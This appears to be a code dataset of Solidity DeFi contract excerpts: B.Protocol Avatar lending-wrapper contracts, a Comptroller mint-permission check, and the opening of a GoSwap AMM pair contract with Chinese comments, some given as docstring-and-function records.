* @dev Off-chain function to calculate `amtToDeductFromTopup` and `amtToRepayOnCompound`
* @notice function is non-view but no-harm as CToken.borrowBalanceCurrent() only updates accured interest
*/
function calcAmountToLiquidate(
ICToken debtCToken,
uint256 underlyingAmtToLiquidate
)
external returns (uint256 amtToDeductFromTopup, uint256 amtToRepayOnCompound)
{
uint256 amountToLiquidate = remainingLiquidationAmount;
if(! isPartiallyLiquidated()) {
amountToLiquidate = getMaxLiquidationAmount(debtCToken);
}
(amtToDeductFromTopup, amtToRepayOnCompound) = splitAmountToLiquidate(underlyingAmtToLiquidate, amountToLiquidate);
}
function quitB() external onlyAvatarOwner() {
quit = true;
_hardReevaluate();
}
}
// File: contracts/bprotocol/interfaces/IBToken.sol
pragma solidity 0.5.16;
interface IBToken {
function cToken() external view returns (address);
function borrowBalanceCurrent(address account) external returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
}
// File: contracts/bprotocol/avatar/AbsComptroller.sol
pragma solidity 0.5.16;
/**
* @title Abstract Comptroller contract for Avatar
*/
contract AbsComptroller is AbsAvatarBase {
function enterMarket(address bToken) external onlyBComptroller returns (uint256) {
address cToken = IBToken(bToken).cToken();
return _enterMarket(cToken);
}
function _enterMarket(address cToken) internal postPoolOp(false) returns (uint256) {
address[] memory cTokens = new address[](1);
cTokens[0] = cToken;
return _enterMarkets(cTokens)[0];
}
function enterMarkets(address[] calldata bTokens) external onlyBComptroller returns (uint256[] memory) {
address[] memory cTokens = new address[](bTokens.length);
for(uint256 i = 0; i < bTokens.length; i++) {
cTokens[i] = IBToken(bTokens[i]).cToken();
}
return _enterMarkets(cTokens);
}
function _enterMarkets(address[] memory cTokens) internal postPoolOp(false) returns (uint256[] memory) {
IComptroller comptroller = IComptroller(registry.comptroller());
uint256[] memory result = comptroller.enterMarkets(cTokens);
for(uint256 i = 0; i < result.length; i++) {
require(result[i] == 0, "enter-markets-fail");
}
return result;
}
function exitMarket(IBToken bToken) external onlyBComptroller postPoolOp(true) returns (uint256) {
address cToken = bToken.cToken();
IComptroller comptroller = IComptroller(registry.comptroller());
uint result = comptroller.exitMarket(cToken);
_disableCToken(cToken);
return result;
}
function _disableCToken(address cToken) internal {
ICToken(cToken).underlying().safeApprove(cToken, 0);
}
function claimComp() external onlyBComptroller {
IComptroller comptroller = IComptroller(registry.comptroller());
comptroller.claimComp(address(this));
transferCOMP();
}
function claimComp(address[] calldata bTokens) external onlyBComptroller {
address[] memory cTokens = new address[](bTokens.length);
for(uint256 i = 0; i < bTokens.length; i++) {
cTokens[i] = IBToken(bTokens[i]).cToken();
}
IComptroller comptroller = IComptroller(registry.comptroller());
comptroller.claimComp(address(this), cTokens);
transferCOMP();
}
function claimComp(
address[] calldata bTokens,
bool borrowers,
bool suppliers
)
external
onlyBComptroller
{
address[] memory cTokens = new address[](bTokens.length);
for(uint256 i = 0; i < bTokens.length; i++) {
cTokens[i] = IBToken(bTokens[i]).cToken();
}
address[] memory holders = new address[](1);
holders[0] = address(this);
IComptroller comptroller = IComptroller(registry.comptroller());
comptroller.claimComp(holders, cTokens, borrowers, suppliers);
transferCOMP();
}
function transferCOMP() public {
address owner = registry.ownerOf(address(this));
IERC20 comp = IERC20(registry.comp());
comp.safeTransfer(owner, comp.balanceOf(address(this)));
}
function getAccountLiquidity(address oracle) external view returns (uint err, uint liquidity, uint shortFall) {
return _getAccountLiquidity(oracle);
}
function getAccountLiquidity() external view returns (uint err, uint liquidity, uint shortFall) {
IComptroller comptroller = IComptroller(registry.comptroller());
return _getAccountLiquidity(comptroller.oracle());
}
function _getAccountLiquidity(address oracle) internal view returns (uint err, uint liquidity, uint shortFall) {
IComptroller comptroller = IComptroller(registry.comptroller());
// If not topped up, get the account liquidity from Comptroller
(err, liquidity, shortFall) = comptroller.getAccountLiquidity(address(this));
if(!isToppedUp()) {
return (err, liquidity, shortFall);
}
require(err == 0, "Err-in-account-liquidity");
uint256 price = IPriceOracle(oracle).getUnderlyingPrice(toppedUpCToken);
uint256 toppedUpAmtInUSD = mulTrucate(toppedUpAmount, price);
// liquidity = 0 and shortFall = 0
if(liquidity == toppedUpAmtInUSD) return(0, 0, 0);
// when shortFall = 0
if(shortFall == 0 && liquidity > 0) {
if(liquidity > toppedUpAmtInUSD) {
liquidity = sub_(liquidity, toppedUpAmtInUSD);
} else {
shortFall = sub_(toppedUpAmtInUSD, liquidity);
liquidity = 0;
}
} else {
// Handling case when compound returned liquidity = 0 and shortFall >= 0
shortFall = add_(shortFall, toppedUpAmtInUSD);
}
}
}
// File: contracts/bprotocol/interfaces/IAvatar.sol
pragma solidity 0.5.16;
contract IAvatarERC20 {
function transfer(address cToken, address dst, uint256 amount) external returns (bool);
function transferFrom(address cToken, address src, address dst, uint256 amount) external returns (bool);
function approve(address cToken, address spender, uint256 amount) public returns (bool);
}
contract IAvatar is IAvatarERC20 {
function initialize(address _registry, address comp, address compVoter) external;
function quit() external returns (bool);
function canUntop() public returns (bool);
function toppedUpCToken() external returns (address);
function toppedUpAmount() external returns (uint256);
function redeem(address cToken, uint256 redeemTokens, address payable userOrDelegatee) external returns (uint256);
function redeemUnderlying(address cToken, uint256 redeemAmount, address payable userOrDelegatee) external returns (uint256);
function borrow(address cToken, uint256 borrowAmount, address payable userOrDelegatee) external returns (uint256);
function borrowBalanceCurrent(address cToken) external returns (uint256);
function collectCToken(address cToken, address from, uint256 cTokenAmt) public;
function liquidateBorrow(uint repayAmount, address cTokenCollateral) external payable returns (uint256);
// Comptroller functions
function enterMarket(address cToken) external returns (uint256);
function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
function exitMarket(address cToken) external returns (uint256);
function claimComp() external;
function claimComp(address[] calldata bTokens) external;
function claimComp(address[] calldata bTokens, bool borrowers, bool suppliers) external;
function getAccountLiquidity() external view returns (uint err, uint liquidity, uint shortFall);
}
// Workaround for issue https://github.com/ethereum/solidity/issues/526
// CEther
contract IAvatarCEther is IAvatar {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
}
// CErc20
contract IAvatarCErc20 is IAvatar {
function mint(address cToken, uint256 mintAmount) external returns (uint256);
function repayBorrow(address cToken, uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address cToken, address borrower, uint256 repayAmount) external returns (uint256);
}
contract ICushion {
function liquidateBorrow(uint256 underlyingAmtToLiquidate, uint256 amtToDeductFromTopup, address cTokenCollateral) external payable returns (uint256);
function canLiquidate() external returns (bool);
function untop(uint amount) external;
function toppedUpAmount() external returns (uint);
function remainingLiquidationAmount() external returns(uint);
function getMaxLiquidationAmount(address debtCToken) public returns (uint256);
}
contract ICushionCErc20 is ICushion {
function topup(address cToken, uint256 topupAmount) external;
}
contract ICushionCEther is ICushion {
function topup() external payable;
}
// File: contracts/bprotocol/interfaces/IBComptroller.sol
pragma solidity 0.5.16;
interface IBComptroller {
function isCToken(address cToken) external view returns (bool);
function isBToken(address bToken) external view returns (bool);
function c2b(address cToken) external view returns (address);
function b2c(address bToken) external view returns (address);
}
// File: contracts/bprotocol/avatar/AbsCToken.sol
pragma solidity 0.5.16;
contract AbsCToken is AbsAvatarBase {
modifier onlyBToken() {
_allowOnlyBToken();
_;
}
function _allowOnlyBToken() internal view {
require(isValidBToken(msg.sender), "only-BToken-authorized");
}
function isValidBToken(address bToken) internal view returns (bool) {
IBComptroller bComptroller = IBComptroller(registry.bComptroller());
return bComptroller.isBToken(bToken);
}
function borrowBalanceCurrent(ICToken cToken) public onlyBToken returns (uint256) {
uint256 borrowBalanceCurr = cToken.borrowBalanceCurrent(address(this));
if(toppedUpCToken == cToken) return add_(borrowBalanceCurr, toppedUpAmount);
return borrowBalanceCurr;
}
function _toUnderlying(ICToken cToken, uint256 redeemTokens) internal returns (uint256) {
uint256 exchangeRate = cToken.exchangeRateCurrent();
return mulTrucate(redeemTokens, exchangeRate);
}
// CEther
// ======
function mint() public payable onlyBToken postPoolOp(false) {
ICEther cEther = ICEther(registry.cEther());
cEther.mint.value(msg.value)(); // fails on compound in case of err
if(! quit) _score().updateCollScore(address(this), address(cEther), toInt256(msg.value));
}
function repayBorrow()
external
payable
onlyBToken
postPoolOp(false)
{
ICEther cEther = ICEther(registry.cEther());
uint256 amtToRepayOnCompound = _untopBeforeRepay(cEther, msg.value);
if(amtToRepayOnCompound > 0) cEther.repayBorrow.value(amtToRepayOnCompound)(); // fails on compound in case of err
if(! quit) _score().updateDebtScore(address(this), address(cEther), -toInt256(msg.value));
}
// CErc20
// ======
function mint(ICErc20 cToken, uint256 mintAmount) public onlyBToken postPoolOp(false) returns (uint256) {
IERC20 underlying = cToken.underlying();
underlying.safeApprove(address(cToken), mintAmount);
uint result = cToken.mint(mintAmount);
require(result == 0, "mint-fail");
if(! quit) _score().updateCollScore(address(this), address(cToken), toInt256(mintAmount));
return result;
}
function repayBorrow(ICErc20 cToken, uint256 repayAmount)
external
onlyBToken
postPoolOp(false)
returns (uint256)
{
uint256 amtToRepayOnCompound = _untopBeforeRepay(cToken, repayAmount);
uint256 result = 0;
if(amtToRepayOnCompound > 0) {
IERC20 underlying = cToken.underlying();
// use resetApprove() in case ERC20.approve() has front-running attack protection
underlying.safeApprove(address(cToken), amtToRepayOnCompound);
result = cToken.repayBorrow(amtToRepayOnCompound);
require(result == 0, "repayBorrow-fail");
if(! quit) _score().updateDebtScore(address(this), address(cToken), -toInt256(repayAmount));
}
return result; // in case of err, tx fails at BToken
}
// CEther / CErc20
// ===============
function liquidateBorrow(
uint256 underlyingAmtToLiquidateDebt,
uint256 amtToDeductFromTopup,
ICToken cTokenColl
) external payable returns (uint256) {
// 1. Can liquidate?
require(canLiquidate(), "cant-liquidate");
ICToken cTokenDebt = toppedUpCToken;
uint256 seizedCTokensColl = _doLiquidateBorrow(cTokenDebt, underlyingAmtToLiquidateDebt, amtToDeductFromTopup, cTokenColl);
// Convert seizedCToken to underlyingTokens
uint256 underlyingSeizedTokensColl = _toUnderlying(cTokenColl, seizedCTokensColl);
if(! quit) {
IScore score = _score();
score.updateCollScore(address(this), address(cTokenColl), -toInt256(underlyingSeizedTokensColl));
score.updateDebtScore(address(this), address(cTokenDebt), -toInt256(underlyingAmtToLiquidateDebt));
}
return 0;
}
function redeem(
ICToken cToken,
uint256 redeemTokens,
address payable userOrDelegatee
) external onlyBToken postPoolOp(true) returns (uint256) {
uint256 result = cToken.redeem(redeemTokens);
require(result == 0, "redeem-fail");
uint256 underlyingRedeemAmount = _toUnderlying(cToken, redeemTokens);
if(! quit) _score().updateCollScore(address(this), address(cToken), -toInt256(underlyingRedeemAmount));
// Do the fund transfer at last
if(_isCEther(cToken)) {
userOrDelegatee.transfer(address(this).balance);
} else {
IERC20 underlying = cToken.underlying();
uint256 redeemedAmount = underlying.balanceOf(address(this));
underlying.safeTransfer(userOrDelegatee, redeemedAmount);
}
return result;
}
function redeemUnderlying(
ICToken cToken,
uint256 redeemAmount,
address payable userOrDelegatee
) external onlyBToken postPoolOp(true) returns (uint256) {
uint256 result = cToken.redeemUnderlying(redeemAmount);
require(result == 0, "redeemUnderlying-fail");
if(! quit) _score().updateCollScore(address(this), address(cToken), -toInt256(redeemAmount));
// Do the fund transfer at last
if(_isCEther(cToken)) {
userOrDelegatee.transfer(redeemAmount);
} else {
IERC20 underlying = cToken.underlying();
underlying.safeTransfer(userOrDelegatee, redeemAmount);
}
return result;
}
function borrow(
ICToken cToken,
uint256 borrowAmount,
address payable userOrDelegatee
) external onlyBToken postPoolOp(true) returns (uint256) {
uint256 result = cToken.borrow(borrowAmount);
require(result == 0, "borrow-fail");
if(! quit) _score().updateDebtScore(address(this), address(cToken), toInt256(borrowAmount));
// send funds at last
if(_isCEther(cToken)) {
userOrDelegatee.transfer(borrowAmount);
} else {
IERC20 underlying = cToken.underlying();
underlying.safeTransfer(userOrDelegatee, borrowAmount);
}
return result;
}
// ERC20
// ======
function transfer(ICToken cToken, address dst, uint256 amount) public onlyBToken postPoolOp(true) returns (bool) {
address dstAvatar = registry.getAvatar(dst);
bool result = cToken.transfer(dstAvatar, amount);
require(result, "transfer-fail");
uint256 underlyingRedeemAmount = _toUnderlying(cToken, amount);
IScore score = _score();
if(! quit) score.updateCollScore(address(this), address(cToken), -toInt256(underlyingRedeemAmount));
if(! IAvatar(dstAvatar).quit()) score.updateCollScore(dstAvatar, address(cToken), toInt256(underlyingRedeemAmount));
return result;
}
function transferFrom(ICToken cToken, address src, address dst, uint256 amount) public onlyBToken postPoolOp(true) returns (bool) {
address srcAvatar = registry.getAvatar(src);
address dstAvatar = registry.getAvatar(dst);
bool result = cToken.transferFrom(srcAvatar, dstAvatar, amount);
require(result, "transferFrom-fail");
require(IAvatar(srcAvatar).canUntop(), "insuffecient-fund-at-src");
uint256 underlyingRedeemAmount = _toUnderlying(cToken, amount);
IScore score = _score();
if(! IAvatar(srcAvatar).quit()) score.updateCollScore(srcAvatar, address(cToken), -toInt256(underlyingRedeemAmount));
if(! IAvatar(dstAvatar).quit()) score.updateCollScore(dstAvatar, address(cToken), toInt256(underlyingRedeemAmount));
return result;
}
function approve(ICToken cToken, address spender, uint256 amount) public onlyBToken returns (bool) {
address spenderAvatar = registry.getAvatar(spender);
return cToken.approve(spenderAvatar, amount);
}
function collectCToken(ICToken cToken, address from, uint256 cTokenAmt) public postPoolOp(false) {
// `from` should not be an avatar
require(registry.ownerOf(from) == address(0), "from-is-an-avatar");
require(cToken.transferFrom(from, address(this), cTokenAmt), "transferFrom-fail");
uint256 underlyingAmt = _toUnderlying(cToken, cTokenAmt);
if(! quit) _score().updateCollScore(address(this), address(cToken), toInt256(underlyingAmt));
}
/**
* @dev Fallback to receieve ETH from CEther contract on `borrow()`, `redeem()`, `redeemUnderlying`
*/
function () external payable {
// Receive ETH
}
}
// File: contracts/bprotocol/interfaces/IComp.sol
pragma solidity 0.5.16;
interface IComp {
function delegate(address delegatee) external;
}
// File: contracts/bprotocol/avatar/Avatar.sol
pragma solidity 0.5.16;
contract ProxyStorage {
address internal masterCopy;
}
/**
* @title An Avatar contract deployed per account. The contract holds cTokens and directly interacts
* with Compound finance.
* @author Smart Future Labs Ltd.
*/
contract Avatar is ProxyStorage, AbsComptroller, AbsCToken {
// @NOTICE: NO CONSTRUCTOR AS ITS USED AS AN IMPLEMENTATION CONTRACT FOR PROXY
/**
* @dev Initialize the contract variables
* @param _registry Registry contract address
*/
function initialize(address _registry, address /*comp*/, address /*compVoter*/) external {
_initAvatarBase(_registry);
}
//override
/**
* @dev Mint cETH using ETH and enter market on Compound
* @notice onlyBToken can call this function, as `super.mint()` is protected with `onlyBToken` modifier
*/
function mint() public payable {
ICEther cEther = ICEther(registry.cEther());
require(_enterMarket(address(cEther)) == 0, "enterMarket-fail");
super.mint();
}
//override
/**
* @dev Mint cToken for ERC20 and enter market on Compound
* @notice onlyBToken can call this function, as `super.mint()` is protected with `onlyBToken` modifier
*/
function mint(ICErc20 cToken, uint256 mintAmount) public returns (uint256) {
require(_enterMarket(address(cToken)) == 0, "enterMarket-fail");
uint256 result = super.mint(cToken, mintAmount);
return result;
}
// EMERGENCY FUNCTIONS
function emergencyCall(address payable target, bytes calldata data) external payable onlyAvatarOwner {
uint first4Bytes = uint(uint8(data[0])) << 24 | uint(uint8(data[1])) << 16 | uint(uint8(data[2])) << 8 | uint(uint8(data[3])) << 0;
bytes4 functionSig = bytes4(uint32(first4Bytes));
require(quit || registry.whitelistedAvatarCalls(target, functionSig), "not-listed");
(bool succ, bytes memory err) = target.call.value(msg.value)(data);
require(succ, string(err));
}
}
|
Topup this avatar by repaying borrowings with ETH/ when already topped
|
function topup() external payable onlyPool {
_ensureUserNotQuitB();
address cEtherAddr = registry.cEther();
bool _isToppedUp = isToppedUp();
if(_isToppedUp) {
require(address(toppedUpCToken) == cEtherAddr, "already-topped-other-cToken");
}
cEther.repayBorrow.value(msg.value)();
toppedUpAmount = add_(toppedUpAmount, msg.value);
}
| 1,244,212
|
./partial_match/97/0x052D64ECD1C8c30DDb7D91fa86b45de0CE86a9e1/sources/Comptroller.sol
|
Checks if the account should be allowed to mint tokens in the given market vToken The market to verify the mint against minter The account which would get the minted tokens mintAmount The amount of underlying being supplied to the market in exchange for tokens return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)/ Pausing is a very serious situation - we revert to sound the alarms Shh - currently unused
|
function mintAllowed(address vToken, address minter, uint mintAmount) external returns (uint) {
require(!mintGuardianPaused, "mint is paused");
minter;
mintAmount;
if (!markets[vToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
return uint(Error.NO_ERROR);
}
| 11,472,202
|
// SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import './GoSwapERC20.sol';
import './libraries/Math.sol';
import './libraries/UQ112x112.sol';
import './interfaces/IGoSwapFactory.sol';
import './interfaces/IGoSwapPair.sol';
import './interfaces/IGoSwapCallee.sol';
/**
* @title 迁移合约接口
*/
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
/**
* @title 交易钩子合约接口
*/
interface IGoSwapHook {
function swapHook(
address sender,
uint256 amount0Out,
uint256 amount1Out,
address to
) external;
}
/**
* @title 保险库合约接口
*/
interface IVault {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function balance() external view returns (uint256);
}
/**
* @title GoSwap 配对合约
*/
contract GoSwapPair is GoSwapERC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
/// @notice 最小流动性 = 1000
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
/// @dev transfer的selector编码
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
/// @notice 工厂合约地址
address public factory;
/// @dev token地址数组
address[2] private tokens;
/// @notice 保险柜地址
address[2] public vaults;
/// @notice 存款比例
uint16[2] public redepositRatios;
/// @notice 存款数额
uint256[2] public depositeds;
/// @notice 虚流动性
uint112[2] public dummys;
/// @notice 收税地址
address public feeTo; // feeTo
/// @notice 配对创建者
address public creator; // creator
/// @notice 交易钩子合约地址
address public swapHookAddress;
/// @dev token储备量
uint112[2] private reserves; // uses single storage slot, accessible via getReserves
/// @dev 更新储备量的最后时间戳
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
/// @notice 配对合约创建时间
uint256 public birthday;
/// @dev token价格最后累计
uint256[2] private priceCumulativeLasts;
/// @notice 在最近一次流动性事件之后的K值,储备量0*储备量1,自最近一次流动性事件发生后
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
/// @notice 流动性相当于sqrt(k)增长的1/6
uint8 public rootKmul = 5; // mint liquidity equivalent to 1/6th of the growth in sqrt(k)
/// @notice 手续费占比0.3%
uint8 public fee = 3; // 0.3%
/// @dev 防止重入开关
uint256 private unlocked = 1;
/**
* @dev 事件:铸造
* @param sender 发送者
* @param amount0 输入金额0
* @param amount1 输入金额1
*/
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
/**
* @dev 事件:销毁
* @param sender 发送者
* @param amount0 输入金额0
* @param amount1 输入金额1
* @param to to地址
*/
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
/**
* @dev 事件:交换
* @param sender 发送者
* @param amount0In 输入金额0
* @param amount1In 输入金额1
* @param amount0Out 输出金额0
* @param amount1Out 输出金额1
* @param to to地址
*/
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
/**
* @dev 事件:同步
* @param reserve0 储备量0
* @param reserve1 储备量1
*/
event Sync(uint112 reserve0, uint112 reserve1);
/**
* @dev 事件:存款更新
* @param deposited0 存款数量0
* @param deposited1 存款数量1
*/
event DepositedUpdated(uint256 deposited0, uint256 deposited1);
/**
* @dev 事件:保险库更新
* @param tokenIndex token索引
* @param vault 保险库地址
*/
event VaultUpdated(uint8 tokenIndex, address indexed vault);
/**
* @dev 事件:存款比例更新
* @param tokenIndex token索引
* @param ratio 保险库地址
*/
event RedepositRatioUpdated(uint8 tokenIndex, uint16 ratio);
/**
* @dev 事件:铸造虚流动性
* @param amount0 数额0
* @param amount1 数额1
*/
event DummyMint(uint256 amount0, uint256 amount1);
/**
* @dev 事件:销毁虚流动性
* @param amount0 数额0
* @param amount1 数额1
*/
event DummyBurn(uint256 amount0, uint256 amount1);
/**
* @dev 事件:收税地址更新
* @param feeTo 收税地址
*/
event FeeToUpdated(address indexed feeTo);
/**
* @dev 事件:K值乘数更新
* @param rootKmul K值乘数
*/
event RootKmulUpdated(uint8 rootKmul);
/**
* @dev 事件:交易钩子合约地址更新
* @param swapHookAddress 交易钩子合约地址
*/
event SwapHookUpdated(address swapHookAddress);
/**
* @dev 事件:收税比例更新
* @param fee 收税比例
*/
event FeeUpdated(uint8 fee);
/**
* @dev 修饰符:锁定运行防止重入
*/
modifier lock() {
require(unlocked == 1, 'GoSwap: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
/**
* @dev 修饰符:确认必须为工厂合约的FeeToSetter地址
*/
modifier onlyFeeToSetter() {
// 确认必须为工厂合约的FeeToSetter地址
require(msg.sender == IGoSwapFactory(factory).feeToSetter(), 'GoSwap: FORBIDDEN');
_;
}
/**
* @dev 返回token0地址
*/
function token0() public view returns (address) {
return tokens[0];
}
/**
* @dev 返回token1地址
*/
function token1() public view returns (address) {
return tokens[1];
}
/**
* @dev 返回price0CumulativeLast
*/
function price0CumulativeLast() public view returns (uint256) {
return priceCumulativeLasts[0];
}
/**
* @dev 返回price1CumulativeLast
*/
function price1CumulativeLast() public view returns (uint256) {
return priceCumulativeLasts[1];
}
/**
* @dev 获取储备
* @return _reserve0 储备量0
* @return _reserve1 储备量1
* @return _blockTimestampLast 时间戳
*/
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserves[0];
_reserve1 = reserves[1];
_blockTimestampLast = blockTimestampLast;
}
/**
* @dev 获取存款数额
* @return 存款数额0
* @return 存款数额1
*/
function getDeposited() public view returns (uint256, uint256) {
return (depositeds[0], depositeds[1]);
}
/**
* @dev 获取虚流动性
* @return 虚流动性0
* @return 虚流动性1
*/
function getDummy() public view returns (uint256, uint256) {
return (dummys[0], dummys[1]);
}
/**
* @dev 私有安全发送
* @param tokenIndex token索引
* @param to to地址
* @param value 数额
*/
function _safeTransfer(
uint8 tokenIndex,
address to,
uint256 value
) private {
// 获取当前合约在token中的余额
uint256 balance = IERC20(tokens[tokenIndex]).balanceOf(address(this));
bool success;
bytes memory data;
// 如果余额<发送数额
if (balance < value) {
// 将存款从保险库中全部取出
_withdrawAll(tokenIndex);
//调用token合约地址的低级transfer方法
(success, data) = tokens[tokenIndex].call(abi.encodeWithSelector(SELECTOR, to, value));
// 如果存款比例>0
if (redepositRatios[tokenIndex] > 0) {
// 重新存款进入保险库
_redeposit(tokenIndex);
}
} else {
//调用token合约地址的低级transfer方法
(success, data) = tokens[tokenIndex].call(abi.encodeWithSelector(SELECTOR, to, value));
}
//确认返回值为true并且返回的data长度为0或者解码后为true
require(success && (data.length == 0 || abi.decode(data, (bool))), 'GoSwap: TRANSFER_FAILED');
}
/**
* @dev 构造函数
*/
constructor() public {
//factory地址为合约布署者
factory = msg.sender;
birthday = block.timestamp;
}
/**
* @dev 初始化方法,部署时由工厂调用一次
* @param _token0 token0
* @param _token1 token1
*/
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'GoSwap: FORBIDDEN'); // sufficient check
tokens[0] = _token0;
tokens[1] = _token1;
symbol = string(abi.encodePacked('GLP:', IERC20GoSwap(_token0).symbol(), '-', IERC20GoSwap(_token1).symbol()));
}
/**
* @dev 设置收税地址
* @param _feeTo 收税地址
*/
function setFeeTo(address _feeTo) external onlyFeeToSetter {
feeTo = _feeTo;
emit FeeToUpdated(_feeTo);
}
/**
* @dev 设置K值乘数
* @param _rootKmul K值乘数
*/
function setRootKmul(uint8 _rootKmul) external onlyFeeToSetter {
rootKmul = _rootKmul;
emit RootKmulUpdated(_rootKmul);
}
/**
* @dev 设置收税比例
* @param _fee 收税比例
*/
function setFee(uint8 _fee) external onlyFeeToSetter {
fee = _fee;
emit FeeUpdated(fee);
}
/**
* @dev 设置交易钩子合约地址
* @param _swapHookAddress 交易钩子合约地址
*/
function setSwapHook(address _swapHookAddress) external onlyFeeToSetter {
swapHookAddress = _swapHookAddress;
emit SwapHookUpdated(swapHookAddress);
}
/**
* @dev 获取收税地址
* @return 收税地址
*/
function getFeeTo() public view returns (address) {
// 如果feeTo地址不为0地址,以feeTo地址为准
if (feeTo != address(0)) {
return feeTo;
// 否则如果配对合约创建30天之后,以工程合约的feeTo地址为准
} else if (block.timestamp.sub(birthday) > 30 days) {
return IGoSwapFactory(factory).feeTo();
// 否者feeTo地址为配对合约创建者
} else {
return creator;
}
}
/**
* @dev 更新储量,并在每个区块的第一次调用时更新价格累加器
* @param balance0 余额0
* @param balance1 余额1
* @param _reserve0 储备0
* @param _reserve1 储备1
*/
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
//确认余额0和余额1小于等于最大的uint112
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'GoSwap: OVERFLOW');
//区块时间戳,将时间戳转换为uint32
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
//计算时间流逝
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
//如果时间流逝>0 并且 储备量0,1不等于0
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
//价格0最后累计 += 储备量1 * 2**112 / 储备量0 * 时间流逝
priceCumulativeLasts[0] += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
//价格1最后累计 += 储备量0 * 2**112 / 储备量1 * 时间流逝
priceCumulativeLasts[1] += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
//余额0,1放入储备量0,1
reserves[0] = uint112(balance0);
reserves[1] = uint112(balance1);
//更新最后时间戳
blockTimestampLast = blockTimestamp;
//触发同步事件
emit Sync(reserves[0], reserves[1]);
}
/**
* @dev 默认情况下铸造流动性相当于1/6的增长sqrt(k)
* @param _reserve0 储备0
* @param _reserve1 储备1
*/
function _mintFee(uint112 _reserve0, uint112 _reserve1) private {
//定义k值
uint256 _kLast = kLast; // gas savings
//如果k值不等于0
if (_kLast != 0 && rootKmul > 0) {
//计算(_reserve0*_reserve1)的平方根
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
//计算k值的平方根
uint256 rootKLast = Math.sqrt(_kLast);
//如果rootK>rootKLast
if (rootK > rootKLast) {
//分子 = erc20总量 * (rootK - rootKLast)
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
//分母 = rootK * 5 + rootKLast
uint256 denominator = rootK.mul(rootKmul).add(rootKLast);
//流动性 = 分子 / 分母
uint256 liquidity = numerator / denominator;
// 如果流动性 > 0 将流动性铸造给feeTo地址
if (liquidity > 0) _mint(getFeeTo(), liquidity);
}
}
}
/**
* @dev 铸造方法
* @param to to地址
* @return liquidity 流动性数量
* @notice 应该从执行重要安全检查的合同中调用此低级功能
*/
function mint(address to) external lock returns (uint256 liquidity) {
//获取`储备量0`,`储备量1`
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
//获取当前合约在token0合约内的余额
uint256 balance0 = balanceOfIndex(0);
//获取当前合约在token1合约内的余额
uint256 balance1 = balanceOfIndex(1);
//amount0 = 余额0
uint256 amount0 = balance0.sub(_reserve0);
//amount1 = 余额1
uint256 amount1 = balance1.sub(_reserve1);
// 储备量0 - 虚流动性0
_reserve0 -= dummys[0];
// 储备量1 - 虚流动性1
_reserve1 -= dummys[1];
//调用铸造费方法
_mintFee(_reserve0, _reserve1);
//获取totalSupply,必须在此处定义,因为totalSupply可以在mintFee中更新
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//如果_totalSupply等于0,首次创建配对
if (_totalSupply == 0) {
// 定义迁移合约,从工厂合约中调用迁移合约的地址
address migrator = IGoSwapFactory(factory).migrator();
// 如果调用者是迁移合约(说明是正在执行迁移操作)
if (msg.sender == migrator) {
// 流动性 = 迁移合约中的`需求流动性数额`,这个数额在交易开始之前是无限大,交易过程中调整为lpToken迁移到数额,交易结束之后又会被调整回无限大
liquidity = IMigrator(migrator).desiredLiquidity();
// 确认流动性数额大于0并且不等于无限大
require(liquidity > 0 && liquidity != uint256(-1), 'Bad desired liquidity');
// 否则
} else {
// 确认迁移地址等于0地址(说明不在迁移过程中,属于交易所营业后的创建流动性操作)
require(migrator == address(0), 'Must not have migrator');
//流动性 = (数量0 * 数量1)的平方根 - 最小流动性1000
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
//在总量为0的初始状态,永久锁定最低流动性
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
// 设置配对创建者为to地址
creator = to; // set creator
} else {
//流动性 = 最小值 (amount0 * _totalSupply / _reserve0) 和 (amount1 * _totalSupply / _reserve1)
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
//确认流动性 > 0
require(liquidity > 0, 'GoSwap: INSUFFICIENT_LIQUIDITY_MINTED');
//铸造流动性给to地址
_mint(to, liquidity);
// 储备量0 + 虚流动性0
_reserve0 += dummys[0];
// 储备量1 + 虚流动性1
_reserve1 += dummys[1];
//更新储备量
_update(balance0, balance1, _reserve0, _reserve1);
